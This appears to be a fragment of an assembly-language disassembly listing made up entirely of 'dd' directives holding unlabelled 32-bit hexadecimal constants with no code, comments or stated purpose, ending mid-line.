dd 0E448C843h, 0ADE181B5h, 0C1703F20h, 7B443DD9h, 8567A7F0h dd 21470432h, 0AD6FFA6Bh, 0D5995C23h, 0C8B8975h, 0F7E85002h dd 1AC4736Ah, 0F51C5CD4h, 478B230h, 5F2FBAF3h, 18019DA0h dd 0C05B60ECh, 0E46390FAh, 0FE7A5F3Eh, 6750D542h, 0B8A95E08h dd 0B7148A66h, 3A9FD07Dh, 33BA34F7h, 96BFC780h, 0FA3E9EE7h dd 0E4F96235h, 978C978Fh, 0B6AFF13Dh, 8CB4E063h, 8EB44C75h dd 0F11DE459h, 4E105DA6h, 0DEB9638Bh, 2F31292Bh, 0BC908796h dd 7E5CFACh, 4A815F98h, 0C8F42C60h, 16B77C48h, 45607AA7h dd 2FE8431Bh, 7A7E75E9h, 0F82979DEh, 0F8B2017h, 992AD7D8h dd 0B0369164h, 81983642h, 71C80C0h, 4D76201Eh, 4BC770EDh dd 3ED54D2Ah, 82E4D5DFh, 0BB7DFAE8h, 5A20288Eh, 640EF3D6h dd 5E304B4h, 983AFD0Eh, 0FD1BE98Fh, 5E3BFC35h, 7B2A9065h dd 6C6C7FCh, 807F6E62h, 9B35E717h, 9C80ECD1h, 3A11407h dd 1159FA6h, 5E7A53EFh, 0ADA8CACFh, 0E98C35B4h, 0A31682EDh dd 670A34D9h, 0B23DEDFDh, 5B4AEBC2h, 8E5EB94Fh, 5D9075B1h dd 74B7572Bh, 127775DCh, 0B7D7484Bh, 0AC42CE5Bh, 360EE588h dd 19836377h, 8A56EA53h, 0C112BB42h, 0F0079E99h, 0A958ADA3h dd 0DFC36432h, 8483DA76h, 2A0060D5h, 79D42CB6h, 0F0008D14h dd 90C13543h, 0BD2E23BAh, 7D3BD826h, 0CB01A30h, 9A79436Ch dd 0A9BB8092h, 2112365Bh, 0CBE95BD9h, 2103A949h, 0CF11A64Bh dd 0F9C6C890h, 5F2948AAh, 4A5B19C3h, 2FD0A4Ah, 16646EF6h dd 7CFB7757h, 960CC1B7h, 9E446B2Eh, 0CFAB4A46h, 9CE8E317h dd 230E416Dh, 4385F3A4h, 0AB0E7447h, 0A0AFCE81h, 0B18B2852h dd 9C92607h, 416A31A6h, 8713B62Ah, 0BC4B100Ah, 9F5A5D98h dd 5880F288h, 2ED715F4h, 656CD8D6h, 30E41055h, 0E6A3D123h dd 2345D95h, 197D1D6Dh, 60087DF0h, 0BD61294Fh, 103E3CC1h dd 927BABF5h, 0D7DD4516h, 3A04F96Ch, 12B125D5h, 104BEC72h dd 799457E1h, 23C56E24h, 871EAD09h, 8DD3855Fh, 417C1135h dd 2291FE76h, 84A8EF39h, 0FD297FBh, 0A5B0FB6Dh, 925AAE11h dd 0CBC2C459h, 9B1FE028h, 0A1FB3D87h, 5CDE8329h, 0DBD6D719h dd 0D0C52B79h, 66692BB9h, 0E47FDB56h, 39B28293h, 0E43D01D1h dd 0DC344C93h, 1D23AF81h, 0CF8104B8h, 601BDF13h, 7D71C55Dh dd 382C950Eh, 0EA80D017h, 0F996247Eh, 7F210A64h, 85A29783h dd 0EE0CB2BFh, 27AAD5B2h, 9D64AFBh, 0AD0A8B05h, 0C7758E06h dd 0E01378DFh, 97D3864Dh, 52FCE641h, 0F2075CC8h, 0EDCC97B2h dd 46EA068Bh, 4D1E5376h, 16ABD064h, 972B2FA1h, 7C4D3C69h dd 0EAF259Fh, 786EEFBCh, 926BA977h, 1450798Fh, 1C00F576h dd 0EF4EF156h, 0BBE7C87Fh, 3805DB3Eh, 0F4723C28h, 0F47CAD01h dd 8032660h, 3D168C11h, 762888B0h, 2812AF80h, 2BD71E67h dd 0C834F6BDh, 0BC371FA9h, 16202FFBh, 0AC9F42A4h, 0A003878Dh dd 0C4B4C2DEh, 237726BEh, 0F1B5C75Fh, 0BD3DEBA3h, 0EA0EAB9Fh dd 5BF4A3B5h, 71BFA25Ch, 8CBB7066h, 44D32204h, 3B47A29Fh dd 0C84A8517h, 0CCEC178Bh, 0CAC49663h, 5CB121B7h, 5D63CBE2h dd 0A75E1104h, 0D1A8DB51h, 8602670Dh, 0C752E0C1h, 8131D0E6h dd 17B3278Ah, 73CCDB00h, 26A06A64h, 0A2C8F2AFh, 0CAFA77F2h dd 0C8C1AAA6h, 814484A2h, 0EE74F655h, 4224DE9Bh, 73DD8CC2h dd 884051F5h, 9D369D55h, 2567DD39h, 1F3B6D00h, 8BFF6B36h dd 5FD9B388h, 2C5BE22Eh dd 310D6C82h, 2E5EF635h, 0D3002698h, 0DB059B14h, 0C22F1E9Dh dd 0E3883A8h, 64A1D93Ah, 0A5B6E099h, 6DF37546h, 0BFC878C6h dd 0C2113ED4h, 0B4872B06h, 0AF416FC1h, 0B9AACC7Ch, 5FDF3C2Fh dd 0F418A722h, 148B773Bh, 0A4374C8Ch, 312EB08Ah, 1F2409FEh dd 0F1711B04h, 85ECBA6Ch, 0F1F4C2Bh, 0F6DC91DDh, 0F0423730h dd 2AB584B8h, 5FB49539h, 65135707h, 4D244CC4h, 7B60D6A1h dd 1C7721CFh, 0ECCF6107h, 0F0254A1Ah, 36256870h, 0C1A0C1B6h dd 0D6CFF949h, 751A4B81h, 8553E041h, 6B0A7110h, 0E8DCCCF0h dd 85393AA0h, 0DD69D06Eh, 0F5F911A2h, 5E7376CDh, 11007D04h dd 677ECA86h, 0F008D54Dh, 6325659Ch, 7D41C070h, 852805F8h dd 8D505BD0h, 9CEDDE6Ch, 5F363FB0h, 662DA73Ch, 61F3F100h dd 0E88038CFh, 0CCB49EDh, 77CF9E93h, 18A928C4h, 26E32B57h dd 973DFB04h, 0B599BCE1h, 0F489C1A6h, 66CAD626h, 8634180Fh dd 0FF8F55CBh, 7CD49443h, 5FE566B8h, 2EA9C8EEh, 70A68E41h dd 0E247DA02h, 109090ACh, 271D65A7h, 9BB1B661h, 6F5AAD8Bh dd 779D8384h, 77B12826h, 0A3D48317h, 0F04B9E1Dh, 985752FFh dd 0B748162Bh, 0A29A5906h, 0ABEBEAC5h, 0AE626C5Ch, 0C0A5A60Fh dd 9A89BFE4h, 125251F2h, 0F02D08B8h, 71D8BE37h, 6F387452h dd 848BF491h, 0AFD3E6AEh, 0A380A555h, 33B8E503h, 0E1FFC8CFh dd 0AFF6E4F0h, 0DF10A97Eh, 392AD998h, 720A7D95h, 4DD2FD9Ch dd 5583D47h, 4F1057EAh, 7270599Eh, 47447C42h, 2B0CBF4Dh dd 6E1D2D9h, 94144E29h, 0B6D1A678h, 870AEBB2h, 0D43FB040h dd 4ECE2915h, 0A7821959h, 3F188DE8h, 64554844h, 7D4E9ED4h dd 5511B3CCh, 0EE5149A3h, 6F0043FEh, 0E7A74116h, 0C51A74C4h dd 0BE38B3Eh, 2F6AF89Dh, 85246BD0h, 1F72CECAh, 0EA61BA3Fh dd 83ADC87Dh, 389FE967h, 7F2BD528h, 0C8E90DE8h, 317CA608h dd 5304DFA4h, 0BC92B5A6h, 328D0E9h, 7A055451h, 235D05A4h dd 0F90E9960h, 0FDB4C26Ah, 16F50607h, 0F5951B6Ah, 208BBFD0h dd 0CAE67BA9h, 0F1495275h, 2ED8BAE1h, 4B9BE1CAh, 0D2C0FD7Ch dd 35F6C1ABh, 0A9389DCCh, 4CBF2C2Dh, 0E2E0A1C9h, 0EA1024FBh dd 4093D65Ah, 66AEE3B7h, 0D181D29Fh, 8F5496Ch, 6877313Dh dd 0DEBE6C1Bh, 48FC4E68h, 0F30CC498h, 718E431Dh, 8F5AF75Ch dd 50B786E6h, 354C4F9Ah, 58B7A0DFh, 7C5460Bh, 0F3868813h dd 3947EEB7h, 9E20795h, 7D9A1B85h, 0EB42AB34h, 33CE6EFFh dd 5B3507EDh, 47A6A7B8h, 0B71C58CBh, 1A133D7h, 0CFBCF657h dd 7CFDF7D6h, 23CF9B10h, 7931CA0Eh, 0A1DD3301h, 2058572h dd 0F3C1213h, 0D1C1C6DDh, 0DF5C1444h, 0E4E44C72h, 9AD8E010h dd 0A64185DBh, 0D40BBD66h, 35CACF92h, 5222F152h, 93B98433h dd 4FBE5A38h, 0CBF8D975h, 0AE4C5239h, 8C1D21EFh, 0D8C77508h dd 493AD1B4h, 2190FD85h, 0C6BFBDBCh, 8BBEE83Bh, 11E014DDh dd 0B45D071Ah, 0DB6694E6h, 6E40F8F4h, 0AA418DC7h, 86A27003h dd 7995B898h, 0D9A74489h, 0F39163h, 236B53B1h, 9C46ECA0h dd 4B79CBA3h, 898049B0h, 11251756h, 91877DE1h, 99161A60h dd 9DA0B1EDh, 7313E0C9h, 4EAC0967h, 6A438247h, 0D187122Bh dd 0BF5B68E1h, 0B838BEC1h, 40463640h, 5DA1A557h, 7621D479h dd 5162957Ch, 0AB7A8188h, 0B5257CEBh, 79234EA1h, 9E5FE706h dd 0A260E5F9h, 0E083CCF1h, 3B973542h, 11106FCFh, 495036h dd 16B947A1h, 9421952Ah, 849A6CC3h, 0A9B34ACBh, 0AD7D944Fh dd 641D8DDEh, 26F949C5h, 54EAFAFDh, 0F0C72C39h, 8757EA12h dd 8D080D39h, 6F68385Eh, 3BD49C65h, 328D9F05h, 7D70D20Fh dd 3A10A44Bh, 7319DF82h, 80E9FCD7h, 0BE8A872Dh, 2D108EA7h dd 7CD7491Ch, 0B8C02037h, 1123BE65h, 1349CA68h, 0EC56BA25h dd 0BC98F812h, 0EBA81BF3h, 8E15207Eh, 0F8F494B7h, 20DFA2B7h dd 11254222h, 0D8A0B499h, 1F71E12Eh, 0DD1735FDh, 34C523E5h dd 2E1CC0B6h, 0D9AAB5h, 474970D8h, 0D5A93D36h, 4B1ED173h dd 0F6E7F638h, 676A5F71h, 0E26FB045h, 10E61505h, 9D6F1583h dd 0BB3081DAh, 702C93F9h, 0A4C6049Bh, 34A54CCDh, 1F9089B9h dd 65520265h, 0FCD8A7Bh, 0DEC52D01h, 5488BB34h, 0A46DCB58h dd 0E74A2AACh, 0F289FE45h, 1318DFAAh, 0BA422411h, 0EE7481BAh dd 0CD0271E6h, 1153F6C8h, 31C36DFAh, 71F1FFEDh, 6210E6F7h dd 4CD416CAh, 0E6F33987h, 0F30ACE95h, 8714E974h, 9406337Eh dd 9D02E357h, 707B1794h, 600D15F1h, 0C280B61Ch, 64906FD6h dd 0D163959h, 0CE76D580h, 0E37ACD94h, 21C488C1h, 5CE33D32h dd 33B43B5Ch, 15758BE3h, 0C25CEEB4h, 71BEC66Ah, 0E11F0BE9h dd 0DA7D3DE7h, 0FD1BAC6Ah, 0FE428A4Ah, 8AB05D7Fh, 0C8D33EB4h dd 0DBC25066h, 5F37A716h, 324628EDh, 195E0810h, 0D74E5858h dd 7FD7B0Ch, 0E3135A7Fh, 4BCDAF50h, 0DE084C9Ch, 0BB1B59BEh dd 7B7E2C54h, 0FA99ECA6h, 231F54E3h, 179DCFA0h, 0FEA9B6B3h dd 1DC5FAF4h, 0B4CFC193h, 52DDA13Bh, 3573A0B5h, 1C75F2F3h dd 574D96AAh, 0B7C58187h, 0CAF462Fh, 0CCA65F81h, 6CB0FFBh dd 4A674DFFh, 0FDFAD5C9h, 1A8B90D3h, 9F8A0EABh, 0B614E1CBh dd 751AA132h, 55C2C9EFh, 8782A865h, 541E2837h, 0BA373EC2h dd 0FC546C8Ch, 90FCEBCBh, 0D2315FF2h, 58874A16h, 0FDE375BDh dd 9231A20Eh, 19E629D7h, 1427BF49h, 0A90EA66Ch, 66CF15CCh dd 0AA0CBC08h, 9E50C652h, 5CF6F3F1h, 93289426h, 2D632A8Ch dd 88F2BE81h, 0D7D8D93Dh, 2D2366D8h, 9AF51418h, 8CD6641Ah dd 0F9A89097h, 4A8A7005h, 8D526683h, 8EC25977h, 66B2FB08h dd 25C437E2h, 0BDEDB894h, 33E6AEA0h, 52BA2855h, 0FBEEE98Ch dd 0BD107D4Fh, 0E4825098h, 0CF67C961h, 26541E6Fh, 0C996AB4h dd 0FA0847C4h, 17C72AE7h, 0FFE8B0ACh, 9A5BF2D1h, 5469F4C4h dd 0F19BEE03h, 19BFA78Bh, 3729E0C1h, 0E7872B24h, 64D74E48h dd 7DE836Ah, 0C6A83C11h, 0F8C16EF0h, 8AEA813Ch, 0FC756669h dd 8F758CE2h, 7D147DE4h, 32B5B61Fh, 0F9DADFF6h, 554A3B1h dd 5EC0EB50h, 0BBFEF1Ah, 48D7D1B2h, 816D1AB4h, 473A639Eh dd 0F34C5907h, 3BA0653Eh, 311722A6h, 0D16E43C2h, 0CA1B2C4h dd 71D8F4AEh, 0F58570A8h, 0AB5275Bh, 399907A4h, 847B72C3h dd 0C56C639h, 44B3545Fh, 0EB8562E9h, 9DE02246h, 4A734EABh dd 17B35B58h, 0B3048E20h, 0BE6DE792h, 0E23BCBF5h, 73749C1Eh dd 2ED57887h, 62E645CBh, 0D335BE4Dh, 0EBC0039h, 3BC481F1h dd 459DD79h, 40AAAE61h, 0B25DC4C9h, 4EA96D7Bh, 8D1AB1B3h dd 7F5CD998h, 2055C537h, 15FA337h, 1F7F0538h, 0CEFE948h dd 0A89B8FAh, 0CA1AC0FDh, 0B60EA506h, 8A5FF5D5h, 0D5D57900h dd 69937EE6h, 0A58BC15h, 0F7D5DD25h, 0C4CFD6F8h, 0E9A94093h dd 6D665A92h, 6CEECD7Eh, 0C8BE1694h, 381ADBAFh, 0A815864Eh dd 0D9832135h, 0BD2D6DD7h, 10B5FB33h, 77C76BE0h, 0CDBECAFAh dd 800474F0h, 3D7A05D6h, 0B4CCB77Eh, 9D5CDB58h, 211346B6h dd 4BDF1ECBh, 112D572Fh, 5B594684h, 409FE8D5h, 8726E612h dd 0EE4D1815h, 4CC52160h, 6A786A8Fh, 4B06F8A6h, 5B965BA0h dd 85B471B2h, 0B1301ADFh, 0EE8AB0Eh, 4D6F741Fh, 977EB28Dh dd 7C37CFA5h, 638B8D7h, 0C02DC930h, 494B8F6Ah, 53018176h dd 2DD0D19Eh, 11C64682h, 36652C6Dh, 98C83C42h, 0EF466735h dd 3E313B34h, 7A2C4365h, 0DB65CE08h, 0A838596Ch, 33C3ADB4h dd 351B4F53h, 46DC2CCEh dd 0D626DA8Ah, 0CF4B233Fh, 0EF90374h, 0D392751Dh, 0BF8110E6h dd 70896BAEh, 0D8DEE3BFh, 99E2C6A8h, 0CB1DC28h, 692A6A8Dh dd 0A6949966h, 0DE8C17B4h, 2F1FBEF3h, 24528B3Fh, 66DABB41h dd 8EC257BEh, 95861AAFh, 4D2B3D6Bh, 0B428CB3Ah, 363D1F46h dd 37C7BF85h, 2B31A9BAh, 0AB96994Bh, 0D8A07D41h, 77BFCE76h dd 99F2EB93h, 31DE5994h, 37CD4937h, 58BB4F38h, 982AB937h dd 4D12EA70h, 0ED202F04h, 7307EF50h, 47A7C9EDh, 7ABBB885h dd 9329EB3Ah, 73725DBAh, 0D56C1E97h, 0B6EC84Ah, 0CB3E5304h dd 0EA3EBC6Dh, 25C20AF2h, 0A787F4FFh, 3E97AB09h, 0C55F4BE0h dd 995990BCh, 0E06A8DE5h, 77C0DD0Ch, 0BD82A9E4h, 52595365h dd 0CFD943DDh, 0AE54D66Bh, 7C2BC793h, 0A4CBBA9Dh, 0B50F3C08h dd 0BBC3ACD2h, 0C9DFB3FAh, 4ED4EA56h, 0BB18DAD9h, 91C0B4B6h dd 0AF1E5FB3h, 5F472B56h, 0C9B0A802h, 0D25218F9h, 672E4169h dd 0EA7CEA23h, 94EFDDF6h, 336A4F18h, 28D243BBh, 3AF95CEDh dd 3F0FF359h, 8DFA40FCh, 7E22F425h, 78149F9h, 0B8AA00B6h dd 0F912013Ah, 0E8536548h, 0EA1C280Dh, 6D0C9122h, 86329BC2h dd 374B1D4h, 0FDAFE05Ch, 23760858h, 8270A188h, 0E15F1B22h dd 0AA54D83h, 5AC3796Eh, 4833FA66h, 7795DB3Fh, 0CF5CEC37h dd 21277A6Bh, 0A8D0E4F7h, 0A3456041h, 4CB5F00Ch, 6A7CF574h dd 3BFB9C73h, 0A760498Fh, 47367177h, 858AFC69h, 0AF247671h dd 0D12783A8h, 5DEAE49Dh, 57EDD597h, 507C459h, 5BF93A7Ch dd 0D18F9CF5h, 72D7399h, 7795A2F9h, 0CC79D7B2h, 5E2EC3CCh dd 0E8A9CBDDh, 0EF6908A2h, 2DFD85AAh, 0EF448DFh, 93C25C1Bh dd 1F4526B9h, 6E7CB393h, 0C71F3EE7h, 3067FB2Ah, 0E5EF4C1Dh dd 0F76E7381h, 0D77EE415h, 1F004A4Dh, 0E800514Ch, 5D9723E8h dd 0F2CA090Dh, 0A98B82C6h, 0D287374Fh, 8EE9DEDCh, 9DCCC204h dd 0EFAC9A63h, 6C6AA55Ch, 4DDA78A0h, 29E4242Eh, 4CF39628h dd 4EBEEA2Ch, 0EB336CDBh, 0F146ADCFh, 0EB938570h, 0AFB257C9h dd 0EA6F1A07h, 4DC5F2B8h, 0E06C0AD9h, 0E3DF85F1h, 8826A9B9h dd 0BE924309h, 0FE972B10h, 0B4658190h, 957859EAh, 7E15B722h dd 0BCB0F9DCh, 8825F306h, 0BFBC4697h, 38020C36h, 8B84CDCh dd 0F0AD3DA4h, 0F317163Ch, 3FA0354Ah, 0A4E9FCECh, 60DAD597h dd 7975EB25h, 0E975E925h, 38AFAACFh, 78725545h, 59BA503Ah dd 5CE1A9D1h, 0A277303Bh, 0E2F4B485h, 844B3973h, 0D9AA3268h dd 6EC4E180h, 0E7C7113Ch, 0B0F1B8B9h, 27DFA35Dh, 1210E122h dd 6CC5B003h, 19C10C95h, 0A92E7974h, 3F94CF4Dh, 6D1AFE22h dd 0AFAA9258h, 646D0AADh, 1CA87537h, 0F86FC772h, 4032C6F6h dd 8947997Dh, 0DA5F1016h, 0B65D70E3h, 5363DC95h, 0AC1AE993h dd 1571532Dh, 0FEC26FF0h, 1564D67Bh, 0F485F8FDh, 44DDA089h dd 0DB24FC2Fh, 2904777Ah, 0B74A49EDh, 84367B5Dh, 0EF944447h dd 0B315DEA1h, 8B02199Ah, 0E213D06Fh, 0CF9C775Ch, 0F1EC9440h dd 0B7801F0Bh, 5969FB22h, 0A4CE7A4Eh, 45A9C17Eh, 7A0C9ABh dd 0FD207A47h, 5DDCB577h, 0CFA8645Dh, 0D658735Ah, 2A060E97h dd 6B4481C6h, 9DB7C27Dh, 0AB2DC168h, 0C5D63DAh, 4E573B6Dh dd 0D822F92Dh, 178AA252h, 0F9270636h, 766A570Dh, 68A42F89h dd 6E0B5CDCh, 8C3D15BDh, 0B8014BBDh, 56F56587h, 8161FE4Ch dd 0F4196E4Ch, 0B014DD21h, 982312AEh, 0AEE96A98h, 2F68B29Ah dd 0A8B92462h, 7A1529A5h, 0CFE25972h, 87199533h, 0CFAB2296h dd 0C687AAABh, 71640568h, 80006DDFh, 0D5231C49h, 403C17E4h dd 96951F53h, 8DBAF50Ah, 0BECD21F8h, 83098722h, 13BCFE64h dd 0AE78FF9Eh, 6EECB849h, 0CD5F679Eh, 892047C5h, 0E49CEDFDh dd 7F8423CDh, 0B4F6E6ECh, 0D01D6319h, 684ACD7h, 63050F25h dd 2FBF0562h, 0E25711F2h, 0CDAAF700h, 0FC7A96E2h, 65B41BA4h dd 0FC7F4E6Ah, 0C718F31Bh, 0DE799979h, 463D6CF0h, 4DA49A4Eh dd 386D55C5h, 0C47DA9C7h, 0C50BB1B6h, 0BF42DDB7h, 511FF646h dd 391379C8h, 4BE5FE2Fh, 707A47BCh, 93D6B958h, 0EDF13E93h dd 14E0DEE7h, 49D46C4h, 0C07F9A11h, 0A81F639Ch, 9B4B7B0Bh dd 0D1B90632h, 0BDFCB8D7h, 45BE1442h, 7983C4F4h, 4B1ABC5h dd 0B66820B4h, 0F431EF2h, 9F2E6CB0h, 5B3EC596h, 0FCDDAD34h dd 295A0479h, 296FFE03h, 0F92D19ADh, 35F9651h, 5B8E7E14h dd 0B6BDAD7h, 1094706h, 0C4C8E59Eh, 183A3064h, 0A282E586h dd 0C106067Ch, 12329091h, 95B4B7CDh, 49A3150Dh, 58428A21h dd 0EE0D051Bh, 52F2261h, 0B784968Ah, 0E2B20D9h, 2935AC23h dd 7EF32947h, 99898E0Dh, 0BE4DFDD9h, 4F710627h, 35C20A06h dd 927BC0E9h, 0F1A15C2Eh, 601DD42Dh, 6E84355Ah, 0EB37D4C1h dd 1DD81EC3h, 2E4726D8h, 0E308767Dh, 0F1B5C5E0h, 88D63B85h dd 0CBFE63AEh, 5AD272Ch, 0BDEF2CD9h, 3C8EE41h, 9F4DFA60h dd 2E157423h, 68D8FA69h, 8EC4D3A4h, 0ECA3C980h, 106325FAh dd 0D54417BFh, 5EB1120Eh, 0F38FF339h, 0FC579869h, 822EE781h dd 71BC5139h, 9C22F423h, 626EA802h, 86EEB91Bh, 0DE8E780h dd 47D82CBEh, 5055B7AFh, 0C287410Dh, 6DAA9343h, 0A25E4059h dd 0E0942A2Ah, 0CEE91F23h, 35CBC76Ah, 0CD2EE63Bh, 0C74CBF1Bh dd 0AAACA7FEh, 279EA298h, 4C9E2F01h, 14CBDF86h, 1FFB78E3h dd 35BB7EA4h, 4D74C1AEh, 0A3628341h, 0EC5E954Ch, 0A41FC55Ah dd 0D113C4B6h, 0C63390EEh, 0DF7D5182h, 0D30C28B2h, 13C38163h dd 1865789Eh, 987A07D8h, 803C0275h, 723DA8D6h, 61B28F02h dd 4424558Fh, 0DFD754BBh, 38E20F16h, 4E43B4D6h, 7521C5D1h dd 849D821h, 6F8D12Ah, 0C69BC30Ch, 0A8A21B34h, 67C7FD3Dh dd 701763F1h, 0B2A176D6h, 4752F35Dh, 79439ADCh, 0E605BEEFh dd 59F236B5h, 9AA82127h, 0B15CA209h, 274B24B6h, 7FBCE9DBh dd 0DEEE1F02h, 8F48234Dh, 0B646AD07h, 0E88948F9h, 1C93697Bh dd 0BA3B3782h, 74C3C253h, 58D471E1h, 0B0BBC7C2h, 0FE1B0A72h dd 53215C29h, 0D8DC934h, 0DEC81410h, 8EE6D5Ah, 4264885Fh dd 725337B7h, 0CDC5255Ch, 0FD96B646h, 4F575E20h, 0C27007D7h dd 9CA7408Eh, 8BF75995h, 0BD22CAA8h, 8AD2BB14h, 0A0E85DCFh dd 1BFFD496h, 89757C32h, 8E17012Ch, 8F9A130Dh, 8F7F5EA3h dd 0F451CCA4h, 0E05F48FDh, 0D022ADDFh, 31654681h, 7F49049Eh dd 0A8AC2C21h, 0E0B1E0A2h, 3369B98Bh, 0C8A7EBDDh, 7EDB9085h dd 96D87FD0h, 0A4DC8A0Eh, 0FB70711Eh, 2518FA2Dh, 58E0941Ah dd 84188F68h, 387683FFh, 307B2CA7h, 5E5BFFBFh, 0BEBB2565h dd 3D3BE404h, 5A7BED36h, 0EC09397Dh, 0CD9D0C06h, 0AF33B262h dd 5F4CE846h, 0C30EFB45h, 6A63153Dh, 8C7A68F8h, 7DD5DCC4h dd 76840DE2h, 0B0D57F58h, 2D1EE591h, 0A7505276h, 6AD58CD2h dd 7BC1A85Eh, 0FDF5E075h, 5E59649Fh, 9E3DA082h, 7FD8BFF3h dd 8630ED47h, 0A26153B0h, 99BC0070h, 0B9340474h, 0B9C3A086h dd 8189444h, 667E6344h, 0CF0B3B00h, 83245AFDh, 4797A4ABh dd 0FBF0D44Ah, 0CE424C17h, 596E27Bh, 84C5A033h, 6CE56D7Bh dd 54CEC75Ah, 526B4ED7h, 0EE65EDFEh, 9F351896h, 0D85A4593h dd 6A271621h, 0ABC86ADFh, 0DDF63CF3h, 7A8AC35Ah, 1DD7E77Dh dd 352982B0h, 40CBCB6Dh, 7F50C9C7h, 0C83CE3B9h, 2517A719h dd 17C916B6h, 0AE0CB9E5h, 1D2D730Ch, 7756F9B7h, 3CA137A5h dd 33BC69CDh, 0BD9F0993h, 48F56ADCh, 0F0CC3DAEh, 33C0D61Ch dd 0A23BB159h, 557A76FCh dd 4F770D31h, 39FB6DF1h, 4DC3C447h, 0C285BF6Ah, 0D01ABA1Bh dd 0C307C372h, 74FB9E3Eh, 753733E1h, 0C21B1B7Ch, 0F9B83F13h dd 79EC3359h, 0C4EE4BCFh, 0C0C11DD5h, 1C18D772h, 4089E9B4h dd 0FC928444h, 8831A718h, 5DD6A4C8h, 790AE5F9h, 2A458792h dd 0DB46E466h, 91F4BE51h, 44DBEE26h, 595753CFh, 0F4F3D9B8h dd 72E366C0h, 0CDFE5077h, 88E2BF66h, 814AACB6h, 7DBFB799h dd 66D80174h, 8B25AF50h, 0F7471EA1h, 0B2AE3593h, 0B801E77Fh dd 46AA9A4h, 6FFB78Eh, 0F776DDA7h, 99B95BE3h, 0B6D06B7Ah dd 2149FF6Eh, 33A4FF15h, 0AB7DF0Dh, 0C7D8EC9Fh, 689497A7h dd 0E6ECF963h, 856A8C9Bh, 93D85F26h, 1F202E98h, 38A5C8Fh dd 1770E810h, 4843D9AFh, 1EED8F23h, 15A904EAh, 82AAB3A3h dd 0B1688384h, 16FB300Eh, 9686F0AFh, 0F1A975DFh, 0AF5AFE82h dd 9863FD65h, 549E9892h, 6CB8437Bh, 7C6B6A76h, 4DF81CE0h dd 4FD51BB3h, 5ABCF41Dh, 34DF6A7Fh, 0D597E1F5h, 0AF11F0F8h dd 15610C13h, 71168FD5h, 759586FEh, 9FB35972h, 71875663h dd 0C8C3DB29h, 0B5E89671h, 57776D2Eh, 1FCC4AAh, 2536B6B9h dd 8C38CCC1h, 1DABA15h, 0A068DAF8h, 2BA27447h, 0B49A7C2Ch dd 57996738h, 63BCE56Ah, 673C86D7h, 5A8AD661h, 0B94E7E84h dd 0F872EAB4h, 781C52FBh, 58A8F7ACh, 0D8E8B9BAh, 4BFFABA6h dd 0AE73E070h, 7355033Ah, 6EBABAB1h, 0C6F085C6h, 0A150D206h dd 7A264737h, 6699CE1Fh, 343EBA3Ch, 0B59F5BA2h, 61FD13Dh dd 0D9166EEEh, 868CC297h, 98F1D5DDh, 9BCF8144h, 431A3F9h dd 7E631652h, 0DCC039E5h, 0BE008851h, 79C2E75Bh, 55FF0D8Ah dd 7D1466C7h, 0DA9AA483h, 3AF6D297h, 0C7038C61h, 2C8C15A6h dd 62B6E85Fh, 1FE5DC64h, 22CD951Ch, 0EEA46369h, 5E55E515h dd 0DB9A5217h, 9F6C62F9h, 0F5AE6C87h, 0A2DF2773h, 310687D2h dd 0CE09D34Fh, 1521E030h, 0FE2BF24Dh, 0DA6F3239h, 9B878DC5h dd 0EC6DEC36h, 0C3F905CBh, 0A1C49D58h, 201FE4F0h, 7BCE840Dh dd 2D4E8B7Dh, 0DCC6FF83h, 0D4B34A02h, 44DD4066h, 0A573341Bh dd 75DD9D9Dh, 726F3CCAh, 59FAAAB6h, 0F57909BAh, 0B048B91Fh dd 7B801973h, 0F598FF63h, 9539EA5h, 30801E49h, 7BB550FBh dd 8B803B23h, 0C81AB224h, 5406FE3Eh, 3C9A6B37h, 485C392h dd 61F8BB98h, 0B6F0EFC1h, 3550E533h, 29D25FA6h, 90A214ACh dd 0A5ECC3EDh, 46F639D2h, 0EF2F0FD4h, 7CCDDE9Eh, 43A837DDh dd 873F228Bh, 21BE2BDAh, 8092890Dh, 0EB38AC44h, 0EE7379F6h dd 0EB17092Eh, 0B8A0924h, 4109917Eh, 0E3186FC2h, 5388B773h dd 0A18E7E70h, 0A9C4E7CBh, 21A8BD7Bh, 48A29CE5h, 8525C2E3h dd 7F495561h, 80A55ACEh, 0F5394971h, 76F189CDh, 0AC05AE58h dd 1391E44Eh, 0B0989937h, 0ACECFDD2h, 4EC749Eh, 4A87EFE9h dd 0EE6BB099h, 0CBF26908h, 0DFAE2D95h, 0A68EDFEFh, 410D7EF3h dd 0B2ADB0CDh, 0C148245Eh, 0BB2EC822h, 3DC8F75Ch, 0DEB02C47h dd 3BC20563h, 7B315552h, 991EC9A7h, 4C1EFCBEh, 0F81D2A29h dd 14C819EAh, 4B054E9Dh, 0D49DBA5Fh, 1FFC8E0Bh, 1B8112D9h dd 38265490h, 0E8073D36h, 2422E32Eh, 0C44DA410h, 5F84515Ah dd 3CF236AFh, 2BDEA9B7h, 579B0654h, 27CCDF3Eh, 94BA89Ch dd 4BA43791h, 0A5B91714h, 0FD211CBFh, 5CCBFE0Fh, 1977AAC5h dd 7E5F4410h, 57DA04CFh, 0FF24A86Ah, 4C675452h, 3BFC256Fh dd 0AB68F259h, 0B5E42EEAh, 17CB6C86h, 35A3A906h, 82DE4A7Fh dd 0AB6C20Dh, 2CCB6593h, 858FACE8h, 19A073BAh, 1E0E3460h dd 1F93C645h, 4BC51A0Ch, 9DA9CE1Bh, 0A9A332A9h, 48C7106Fh dd 204CBA8Eh, 84402F4h, 0BFB2F914h, 0F3BF6825h, 5F0269FDh dd 74FC9DDCh, 89DB0B90h, 87910C98h, 67ED5AE0h, 270A3E5Ch dd 4D5C3FC0h, 0D7616802h, 93DB3339h, 61AEDA55h, 0C1B9426Eh dd 8EAD3F46h, 73E7EC46h, 5EFA727Ch, 8C2F4325h, 0C542ED20h dd 5A89069Fh, 37131D81h, 0BF541207h, 2726A456h, 9EC57151h dd 93F675BCh, 0BC39C7DDh, 3AF9B557h, 7C0B3AD4h, 1188DD95h dd 0A16E2535h, 8C08BE1Eh, 0FD5F7932h, 10E57057h, 1501ED39h dd 5F92994Eh, 0A8116F4Ch, 0E7025804h, 4C9EC7ABh, 94FA2D9Ah dd 564C0B20h, 740942F0h, 0AF1D66BFh, 93570F62h, 0E22C95CCh dd 0AAD94C70h, 7AEE9A5Ch, 0ACB8A10Eh, 4322F69Fh, 0B05CB230h dd 0E64FE60Ch, 0A43653C8h, 77595391h, 0B796A53Fh, 0A938AD0Ah dd 9AC294B7h, 0A6EA66E6h, 0EFD01ACFh, 90BF5EA7h, 0D3843F0Dh dd 40701A71h, 0B043E1ECh, 0A3633445h, 6AA91EE3h, 692CDA04h dd 1D532102h, 